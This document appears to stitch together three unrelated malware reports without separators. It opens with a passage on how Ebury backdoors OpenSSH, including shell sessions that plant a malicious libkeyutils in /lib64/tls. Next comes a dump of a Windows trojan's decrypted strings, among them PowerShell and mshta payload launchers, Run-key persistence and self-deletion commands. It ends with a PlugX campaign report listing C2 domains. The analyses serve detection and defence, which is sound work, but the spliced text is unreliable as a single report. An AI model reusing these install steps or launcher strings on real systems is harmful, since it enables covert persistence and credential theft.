Ebury authors have come up with new tricks to fool our IoCs. They still use the libkeyutils.so file, but differently. ### Debian/Ubuntu On Debian/Ubuntu systems, Ebury is currently deployed using a new method. Since libkeyutils.so is loaded by the OpenSSH client and the OpenSSH server executables, it remains an interesting target for the attackers. We’ve previously seen Ebury installed by changing the libkeyutils.so.1 symbolic link to point to the malicious version of the library. The altered library would have a constructor where Ebury’s initialization code is stored. Every time libkeyutils.so is loaded, the constructor is called. Thus, every time the OpenSSH client or server is launched, Ebury is injected into the process. The latest deployment method on Debian/Ubuntu now relies on patching libkeyutils.so to force it to load Ebury, which is stored in a separate .so file. Comparing an original and a patched version, we notice that there’s an additional entry in the .dynamic section of the ELF header. ```diff --- ./libkeyutils.so.1-5 2017-10-13 21:19:24.269521814 -0400 +++ ./libkeyutils.so.1-5.patched 2017-10-13 21:19:17.405092274 -0400 @@ -1,5 +1,5 @@ -Dynamic section at offset 0x2cf8 contains 26 entries: +Dynamic section at offset 0x2cf8 contains 27 entries: Tag Type Name/Value 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] 0x000000000000000e (SONAME) Library soname: [libkeyutils.so.1] @@ -26,4 +26,5 @@ 0x000000006fffffff (VERNEEDNUM) 1 0x000000006ffffff0 (VERSYM) 0xdf0 0x000000006ffffff9 (RELACOUNT) 3 +0x0000000000000001 (NEEDED) Shared library: [libsbr.so] ``` The patching process has two steps. First, the string “libsbr.so” must be stored in the strings table of the binary. Second, a new entry of type 0x1 (DT_NEEDED) must be added to the dynamic section of the ELF headers. ### CentOS Similar techniques to the one described for Debian/Ubuntu deployment are used on CentOS. Attackers would patch libkeyutils.so to force it to load an additional library. In addition, we’ve noticed a new technique used for deploying Ebury on CentOS/RedHat systems. We don’t know all the details about how the installation process works yet. Looking at various online reports helped us make some educated guesses as to how the deployment happens. We’re aware of Ebury being deployed as a separate shared object loaded by libkeyutils in a way similar to Debian’s deployment. But we also witnessed another installation method, which we believe is the deployment method for v1.6. As was the case in previous releases of Ebury, the operators build their own version of libkeyutils.so to which they add a constructor containing the malicious code. Instead of altering the libkeyutils.so.1 from /lib/ or /lib64/, they use the /lib{,64}/tls/ folder to drop their file because the dynamic linker looks at this directory first when resolving dependencies. We believe the deployment process for this version is to drop Ebury in /lib/tls/ or /lib64/tls/ depending on the architecture of the victim’s system. Then, running ldconfig will automatically create a symbolic link /lib{,64}/tls/libkeyutils.so.1 pointing to the malicious shared object. ```shell # ldd /usr/bin/ssh | grep -i libkeyutils libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007ff67774f000) # cp libkeyutils.so.1.5 /lib64/tls/ # ldd /usr/bin/ssh | grep -i libkeyutils libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f44ac6ba000) # ldconfig # ldd /usr/bin/ssh | grep -i libkeyutils libkeyutils.so.1 => /lib64/tls/libkeyutils.so.1 (0x00007fc12db23000) # ls -al /lib64/tls total 24 dr-xr-xr-x 1 root root 4096 Oct 18 14:34 . dr-xr-xr-x 1 root root 4096 Oct 18 13:25 .. lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5 -rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5 ``` Additionally, it makes for a simple uninstallation system that doesn’t require fiddling with symbolic links and keeping some backup copies of the original libkeyutils shared object in case something goes wrong during the deployment process. The only thing that is needed is to erase the malicious libkeyutils.so file in the /lib{,64}/tls/ folder, then run ldconfig again and the system is back to its original state. ```shell # ls -l /lib64/tls total 16 lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5 -rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5 # rm /lib64/tls/libkeyutils.so.1.5 # ldconfig # ls -l /lib64/tls total 0 # ldd /usr/bin/ssh | grep -i libkeyutils libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f7b89349000) # ls -l /lib64/libkeyutils.so.1 lrwxrwxrwx 1 root root 18 Oct 18 13:25 /lib64/libkeyutils.so.1 -> libkeyutils.so.1.5 ``` The tls subdirectory is used together with a feature of the Linux loader where if the CPU supports some additional instruction set, the one in that directory takes precedence over the “regular” one. The tls directory is actually for a pseudo-hwcap for “TLS support” that is always present nowadays. ## Conclusion Even after the arrest of Maxim Senakh, the core of Windigo is still operational. Ebury, the main component of the Linux botnet, has gone through significant upgrades. It now uses self-hiding techniques and new ways to inject into OpenSSH related processes. Furthermore, it uses a new domain generation algorithm (DGA) to find which domain TXT record to fetch. The exfiltration server IP address is concealed in these data, signed with the attackers’ private key. An expiration date was added to the signed data to defend against signature reuse, thus mitigating potential sinkhole attempts. Windigo’s operators regularly monitor publicly shared IoCs and quickly adapt to fool available indicators. Keep this in mind when trying to determine if a system is infected using public IoCs. The older they are, the more likely they are to be obsolete. ## Indicators of Compromise (IoCs) In this section, we share our IoCs that may help identify the latest variants of Ebury. We provide these to help the community detect if their systems are compromised but they are in no way to be considered perfect. Ebury now uses an abstract UNIX socket to communicate with an external process that will be responsible for data exfiltration. In most cases, the socket name begins with “/tmp/dbus-.” The real dbus can create a socket using the same pattern. However, Ebury does this with processes not related to the legitimate dbus. If the following command outputs the socket, it is suspicious: ```shell $ lsof -U | grep -F @/tmp/dbus- | grep -v ^dbus ``` Here’s a list of the processes we know Ebury uses as an exfiltration agent: - auditd - crond - anacron - arpd - acpid - rsyslogd - udevd - systemd-udevd - atd - hostname - sync On CentOS/Redhat, having a libkeyutils.so* file in /lib/tls/ or /lib64/tls/ is suspicious. Running `objdump -x libkeyutils.so.1` (or `readelf -d libkeyutils.so.1`) will print the dynamic section of the ELF header. Anything NEEDED (type 1) other than libc or libdl is suspicious. ```shell $ objdump -x /path/to/libkeyutils.so.1 | grep NEEDED | grep -v -F -e libdl.so -e libc.so ``` In the event that your machine is infected with an Ebury version with the userland rootkit, there are many ways to detect that this is the case. Since Ebury injects itself using the dynamic linker LD_PRELOAD environment variable, we can use some other environment variable to trace the dynamic linking process. If libkeyutils is loaded in some process where it shouldn’t be, it is very likely that the system is infected with a rootkit-enabled version of Ebury. If the following command raises a result, it is very suspicious: ```shell $ LD_DEBUG=symbols /bin/true 2>&1 | grep libkeyutils ``` If you detect compromised machines, we strongly suggest doing a full system reinstallation because Windigo sometimes installs additional malware. Therefore, a machine compromised by Ebury is likely to be polluted by other threats. Additionally, consider all user credentials and all SSH keys to be compromised. Make sure to change them all. ## Table 2. Ebury-related hashes | SHA-1 | Filename | Version | Detection Name | |--------------------------------------------------------|----------------------|------------|------------------| | 5c796dc566647dd0db74d5934e768f4dfafec0e5 | libns2.so | 1.5.0 | Linux/Ebury.B | | 615c6b022b0fac1ff55c25b0b16eb734aed02734 | Unknown | 1.5.1 | Linux/Ebury.E | | d4eeada3d10e76a5755c6913267135a925e195c6 | libns5.so | 1.5.1c | Linux/Ebury.E | | 27ed035556abeeb98bc305930403a977b3cc2909 | libpw3.so | 1.5.1d | Linux/Ebury.E | | 2f382e31f9ef3d418d31653ee124c0831b6c2273 | libpw5.so | 1.5.1e | Linux/Ebury.E | | 7248e6eada8c70e7a468c0b6df2b50cf8c562bc9 | libpw5.so | 1.5.1f | Linux/Ebury.I | | e8d3c369a231552081b14076cf3eaa8901e6a1cd | libkeyutils lib | 1.5.5 | Linux/Ebury.F | | 1d3aafce8cd33cf51b70558f33ec93c431a982ef | libkeyutils lib | 1.5.5 | Linux/Ebury.F | | a559ee8c2662ee8f3c73428eaf07d4359958cae1 | libkeyutils lib | 1.5.5c | Linux/Ebury.F | | 17c40a5858a960afd19cc02e07d3a5e47b2ab97a | libslr.so | 1.5.6dp | Linux/Ebury.I | | eb352686d1050b4ab289fe8f5b78f39e9c85fb55 | libkeyutils.so.1.5 | 1.5.6d | Linux/Ebury.F | | 44b340e90edba5b9f8cf7c2c01cb4d45dd25189e | libkeyutils.so.1.5 | 1.6.2a | Linux/Ebury.I | | e8d392ae654f62c6d44c00da517f6f4f33fe7fed | libsbr.so | 1.6.2gp | Linux/Ebury.I | | b58725399531d38ca11d8651213b4483130c98e2 | libsbr.so | 1.6.2gp | Linux/Ebury.I |
# Appendix B: Full Dump of Decrypted Strings invalidcert overridelink %08X-%04X-%04X-%04X-%08X%04X KERNEL32.DLL uValue NTDLL.DLL GetStringValue ZwWriteVirtualMemory LoadLibraryA GetDWORDValue CreateKey hDefKey ReturnValue root\default ZwWow64QueryInformationProcess64 StdRegProv Mozilla/5.0 (Windows NT %u.%u%s; rv:74.0) Gecko/20100101 Firefox/74.0 SetStringValue LdrUnregisterDllNotification SetDWORDValue GetBinaryValue SetBinaryValue version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s &action=%08x DeleteKey sSubKeyName sValueName &time=%lu sValue Content-Disposition: form-data; name="upload_file"; filename="%s" __ProviderArchitecture {%08X-%04X-%04X-%04X-%08X%04X} ZwSetContextThread --%s\r\n%s\r\n\r\n --%s--\r\n ZwWow64ReadVirtualMemory64 ZwProtectVirtualMemory %02u-%02u-%02u %02u:%02u:%02u\r\n ZwGetContextThread https:// %systemroot%\system32\control.exe /? kernelbase NTDSAPI.DLL LdrRegisterDllNotification S:(ML;;NW;;;LW)D:(A;;0x1fffff;;;WD)(A;;0x1fffff;;;S-1-15-2-1)(A;;0x1fffff;;;S-1-15-3-1) %c%02X%s=%s& soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x &uptime=%u size=%u&hash=0x%08x &system=%s http:// %u%u%u Content-Type: multipart/form-data; boundary=%s Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" Content-Type: application/octet-stream CreateProcessA RtlNtStatusToDosError ZwMapViewOfSection ZwCreateSection ZwUnmapViewOfSection ZwClose .jpeg Software\AppDataLow\Software\Microsoft\ %systemroot%\system32\c_1252.nls \*.dll Local\ Client32 Client64 Global\ 0123456789ABCDEF Software\Microsoft\Windows\CurrentVersion\Run &ip=%s rundll32 "%s",%S &os=%s %u.%u_%u_%u_x%u &tor=1 Client System %08x%08x%08x%08x runas cmd.exe /C "copy "%s" "%s" /y && rundll32 "%s",%S" /C "copy "%s" "%s" /y && "%s" "%s"" Microsoft @CODE@ /C ping localhost -n %u && del "%s" SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate %S=new ActiveXObject('WScript.Shell');%S.Run('powershell iex ([System.Text.Encoding]::ASCII.GetString(( gp "%S:\\%S").%s))',0,0); IE8RunOnceLastShown_TIMESTAMP mshta "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('%S\\%S\\%s'));if(!window.flag)close()</script>" Host: SOFTWARE\Microsoft\Internet Explorer\Main Check_Associations IE10RunOnceLastShown_TIMESTAMP
# In Pursuit of Optical Fibers and Troop Intel: Targeted Attack Distributes PlugX in Russia By Thoufique Haq & Aleksey F Proofpoint researchers recently observed a campaign targeting telecom and military sectors in Russia. Beginning in July 2015 (and possibly earlier), the attack continued into August and is currently ongoing. As part of this campaign, attacks were also observed on Russian-speaking financial analysts working at global financial firms covering telecom corporations in Russia, likely a result of collateral damage caused by the attackers' targeting tactics. The attacks employed PlugX, a Remote Access Trojan (RAT) widely used in targeted attacks. Proofpoint is tracking this attacker, believed to operate out of China, as TA459. This same attacker is also reported to have targeted various military installations in Central Asia in the past. While the current campaign has been active for a couple of months, there is evidence of activity by this attacker as far back as 2013, employing other backdoors such as Saker, Netbot, and DarkStRat. The attacks seen in the current campaign involved spear-phishing emails that employed both exploit-laden Microsoft Word document attachments and links leading to RAR archives. The email contents, filenames, and decoy are all usually in Russian. ## Campaign Details: Attachments The Microsoft Word document attachments observed in this campaign utilized CVE-2012-0158 to exploit the client and implant the PlugX RAT. For example, the attachment LTE-2600.doc (SHA: 6ea86b944c8b5a9b02adc7aac80e0f33217b28103b70153710c1f6da76e36081) was sent to financial analysts covering the telecom industry with the email subject “Проект бизнес-плана” (“Project business-plan”). The attachment name is suited to the targets because “LTE” is a telecom term referring to Long-Term Evolution networks, typically used to describe 4G networks. Inspection of the document exploit employing CVE-2012-0158 also revealed that it was crafted using a builder tool, which can be seen in various artifacts visible in the document properties. However, it should be noted that we do not believe that this builder is exclusively used by this attacker and is likely shared among multiple threat actor groups. ## Campaign Details: URLs As part of this campaign, the attackers also sent spear-phishing emails with URLs to RAR archive files hosted on fake domains registered for this campaign. An interesting fact that shines some light on the social engineering tradecraft used by the group is that these domain names, as well as payload file names, were not chosen at random but were instead chosen to fit the specific lure. For example, the RAR archive hosted on www.forum-mil[.]net/news/2015-08-03-3001.rar contained the executable file "Воздушно-космические силы России заступили на боевое дежурство.exe” (“Aerospace Russian forces step up military duty.exe”). Additional searching uncovered a news article with this title on a legitimate Russian-language news site. In another example, the news article was used as the basis for registering the payload hosting site www[.]tvzvezda[.]net/news/forces/content/201508181025.rar. Again, the title of the article was used as the name for the executable inside the RAR archive, and it appears that many of these lures were created in a similar fashion. Specifically, the actor starts with an article describing a military-related event and then registers a payload site and names the malware file. ### Infection Site Details | Infection Site | Registrant Email | Legitimate Site Mimicked | |------------------------|---------------------------|--------------------------------------------------------------| | arms-expo[.]net | [email protected] | arms-expo[.]ru (Russian information agency on weapons) | | forum-mil[.]net | [email protected] | forum-mil[.]ru (Forum of the Ministry of Defense of Russian Federation) | | tvzvezda[.]net | [email protected] | tvzvezda.ru (TV network run by Russian Ministry of Defense) | | rusarmy[.]net | [email protected] | rusarmy[.]com (Russian army and its weapons forum) | | patriotp[.]com | [email protected] | patriotp[.]ru (Russian military patriot recreation park) | | militarynewes[.]com | [email protected] | militarynews[.]com (US military news portal) | All the infection domains and command and control (C2) domains were registered using the same registrar in Beijing: “Shanghai Meicheng Technology Information Development Co., Ltd.” Other than the emails, the information used for registration was randomized. The RAR archives hosted on fake domains contained RAR SFX (self-extracting executable) packaged executables which drop and load PlugX. Proofpoint researchers observed the following filenames being used for executables in the campaign: | Embedded Filename | Translated | |-----------------------------------------------------------------|------------------------------------------------------------| | СМИ -расчет рассылки новый.scr | Mass Media - Calculation of new distribution.scr | | В России сформирована легендарная 6-я Ленинградская армия ВВС и ПВО.scr | In Russia, a legendary 6-th Leningrad army VVS and PVO is formed.scr | | Самая мощная ядерная бомба в истории.scr | Strongest nuclear bomb in history.scr | | Памятные мероприятия, в связи с 15-летием гибели АПРК «Курск».exe | Commemorative events in connection with the 15th anniversary of the sinking of nuclear submarine “Kursk”.exe | | СМИ.scr | Mass Media.scr | | Воздушно-космические силы России заступили на боевое дежурство.exe | Aerospace Russian forces step up military duty.exe | | 11.08.2015.scr | N/A | ## Decoy Content and Sandbox Evasion Interestingly, one of the RAR SFX droppers launches a decoy Microsoft Word document before launching the executable. The contents of this decoy document reference the “Tsar Bomba” nuclear test from the Cold War era and have been directly lifted from a Russian site. In addition to displaying something potentially relevant to the recipient’s interests, the PlugX payload is not executed by the RAR SFX until the victim closes the decoy Word document, seen in the past as a sandbox evasion technique wherein the payload is not executed until the decoy document is closed. As a result, the actual payload may never execute in malware sandbox environments unless the sandbox is configured to simulate the action of a user closing the decoy document. The SFX script for this document appears to have been created with a Chinese language pack version of WinRAR. The decoy document “1.doc” is executed first and waits until it is closed before launching “0810.exe”. This effect can be easily achieved in WinRAR by setting the “Wait and return exit code” option when creating the SFX archive. ## PlugX Implant The attachment and email campaigns both employed DLL side-loading techniques to load the PlugX payload. All of the payloads used the same clean signed executable “fsguidll.exe”, masquerading as the F-secure GUI component, to sideload “fslapi.dll” which in turn unpacks code from “fslapi.dll.gui”. The variant of PlugX used is the P2P version that was described by JPCert. A sample configuration extracted using the volatility script from Arbor is shown below. ``` PlugX Config (0x36a4 bytes): Hide Dll: -1 Keylogger: -1 Sleep 1: 167772160 Sleep 2: 0 Cnc: www.pressmil[.]com:80 (HTTP/UDP) ... ``` Many of the samples used the string “EEEEEE” for authentication of the C2 communication, which is likely the default value. Other observed values include “LLL-0808”, “0abcde”, and “niii-0701”. ## Command and Control Infrastructure We observed pressmil[.]com and notebookhk[.]net being used as the C2 servers for this specific campaign. Over the duration of the campaign, both of these domains pointed to the same infrastructure on the IP address “43.252.175.119” in Hong Kong. This IP infrastructure has been actively used by this attacker as early as 2014-12-04. The other domains also registered to point to this same IP address include “fedpress[.]net” and “dicemention[.]com”, which have been observed at use in past campaigns. When investigating 123.254.104.50 we discovered additional, older payloads clustering into three different malware families. These additional malware families used by this attacker in the past were Saker, Netbot, and DarkStRat. Researchers at ESET also reported and documented the usage of DarkStRat by this attacker. ### Related Malware: Saker (aka XBox) implant The samples from the Saker cluster exhibited clues that also point to a Russian military attack nexus. For example, the file “zamysel praticteskih dejstvi voisk.scr” translates to “plan of army practice maneuvers.scr”. It was also similarly packaged in a RAR archive, and on execution, it drops and loads a DLL file “icwnet.dll” which contains the exports “ServiceMain” and “JustTempFun”. ### Related Malware: Netbot (aka TornRat) Implant When an example payload from this cluster is detonated, it drops and loads a DLL file “taskhost.dll”. The malware sends an initial beacon to its C2 server, which matches the TornRAT network signature previously published by CrowdStrike. ### Related Malware: DarkStRat implant When an example payload from this cluster is detonated, it drops and runs an executable file “netlink.exe”. The RAT sends the string "ok\n" following the initial beacon to a remote server. A configuration file “netsetting.ini” is also written to disk. DarkStRat is a full-fledged RAT written in Delphi with an array of features such as file manager, process manager, registry manager, service manager, downloading and running secondary payloads, and deleting all traces of itself. ## Conclusion A detailed examination of this operation reveals an adversary who demonstrates a keen interest in Russian telecom and military sectors, indicative of an actor with geopolitical motives. The attacker adapts and evolves their Tactics, Techniques, and Procedures (TTPs) over time as the situation demands. While the attacker appears to do very little to hide their tracks, they remain highly determined and persistent and have carried out attacks through a sustained operation spanning at least two years, and possibly longer. The attacker also invests time to research the locale and current events relevant to their targets and then leverages this in their targeting tactics. As this threat shows, attackers continue to employ increasingly sophisticated techniques against new targets in order to uncover and steal sensitive information. Organizations need to recognize that they cannot rely on traditional antivirus and anti-spam solutions to detect and stop these advanced threats. In order to combat targeted attacks, organizations should adopt next-generation solutions that make it possible to identify and respond to sophisticated targeted attacks by correlating advanced detection with threat intelligence about actor TTPs and global views of threat traffic, including IOCs that enable response teams to quickly detect and mitigate compromises. Moreover, a multi-layer approach is essential, with email security representing the logical starting point for an advanced threat defense: like this targeted attack, email remains the vector-of-choice for penetrating target organizations and delivering these sophisticated payloads.